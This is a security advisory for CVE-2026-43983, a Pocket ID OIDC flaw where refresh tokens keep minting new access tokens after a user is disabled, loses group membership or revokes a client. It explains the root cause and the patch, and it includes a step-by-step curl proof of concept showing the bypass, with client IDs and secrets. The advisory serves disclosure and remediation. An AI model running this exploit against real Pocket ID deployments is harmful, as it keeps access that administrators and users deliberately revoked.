highCVE-2026-43983Jul 28, 2026

CVE-2026-43983: Pocket ID OIDC Refresh Token Authorization Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Pocket ID's OIDC token endpoint keeps issuing new access tokens via refresh even after a user is disabled, loses group membership, or explicitly revokes a client's authorization, letting a…

Packagegithub.com/pocket-id/pocket-id/backend
Ecosystemgo
Affected< 0.0.0-20260419162744-978ac87deffe
Fixed in0.0.0-20260419162744-978ac87deffe
CVE-2026-43983: Pocket ID OIDC Refresh Token Authorization Bypass

The problem

The createTokenFromRefreshToken function in oidc_service.go validates the refresh token's cryptographic signature and client credentials, but stops there. It never checks whether the user account has been disabled, whether the UserAuthorizedOidcClient record still exists, or whether the user still satisfies the client's group restrictions.

This creates three independent bypasses. First, a user who revokes an OIDC client's authorization via the UI gets a false sense of security: RevokeAuthorizedClient deletes the authorization record but not the associated OidcRefreshToken rows, and the refresh path never checks for the authorization record.

Second, an admin disabling a user account correctly blocks session-based access through the auth middleware, but the OIDC token endpoint is outside that middleware and never inspects user.Disabled. Third, removing a user from a client's allowed groups has no effect because createTokenFromRefreshToken loads groups via Preload but never calls IsUserGroupAllowedToAuthorize.

Each successful refresh rotates the token with a fresh 30-day expiry, enabling indefinite access.

Proof of concept

A working proof-of-concept for CVE-2026-43983 in github.com/pocket-id/pocket-id/backend, with the exact payload below.

bash
# 1. Obtain a refresh token for a user (normal auth code flow)
AUTH_CODE=$(curl -s -b cookies.txt -X POST http://pocket-id:1411/api/oidc/authorize \
  -H 'Content-Type: application/json' \
  -d '{"clientId":"3654a746-35d4-4321-ac61-0bdcff2b4055","scope":"openid profile email groups","callbackURL":"http://nextcloud/auth/callback"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['code'])")

TOKENS=$(curl -s -X POST http://pocket-id:1411/api/oidc/token \
  -d "grant_type=authorization_code&code=$AUTH_CODE&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY&redirect_uri=http://nextcloud/auth/callback")
REFRESH=$(echo $TOKENS | python3 -c "import json,sys; print(json.load(sys.stdin)['refresh_token'])")

# 2a. BYPASS: admin disables the user -- session access now returns 401
curl -s -b cookies.txt -X PUT http://pocket-id:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \
  -H 'Content-Type: application/json' \
  -d '{"disabled":true,"username":"tim","email":"tim.cook@test.com","firstName":"Tim","lastName":"Cook","isAdmin":true}'

# 2b. BYPASS: user revokes the client -- returns 204 but refresh still works
curl -s -b cookies.txt -X DELETE \
  http://pocket-id:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055

# 3. ATTACK: refresh token still issues new tokens after disable or revocation
curl -s -X POST http://pocket-id:1411/api/oidc/token \
  -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns HTTP 200 with a fresh access_token, id_token (name/email/groups), and a new 30-day refresh_token

The root cause is a missing authorization re-validation step after the cryptographic token lookup. The patch (commit 978ac87) adds three checks immediately after the stored refresh token is resolved: it rejects disabled users, confirms that a UserAuthorizedOidcClient row still exists for the user-client pair (deleting the refresh token if not), and re-runs IsUserGroupAllowedToAuthorize before minting new tokens.

The secondary fix also deletes all OidcRefreshToken rows for a user-client pair when RevokeAuthorizedClient runs, closing the gap where the FK cascade only fired on full user or client deletion.

The CWEs are Improper Authorization (CWE-285, the refresh path trusts prior authorization without re-checking current state) and Insufficient Session Expiration (CWE-613, token rotation effectively makes the refresh token perpetual).

The fix

Upgrade to Pocket ID v2.6.0 (commit 978ac87deffec58beaccd15aead975e91b94c8a5 or the pseudo-version 0.0.0-20260419162744-978ac87deffe). The fix adds user-disabled, authorization-record-exists, and group-restriction checks inside createTokenFromRefreshToken, and also deletes orphaned refresh tokens when RevokeAuthorizedClient is called.

No configuration change is needed; upgrading is the only remediation.

Reported by Koda Reef.

References: [1][2][3][4][5]

Related research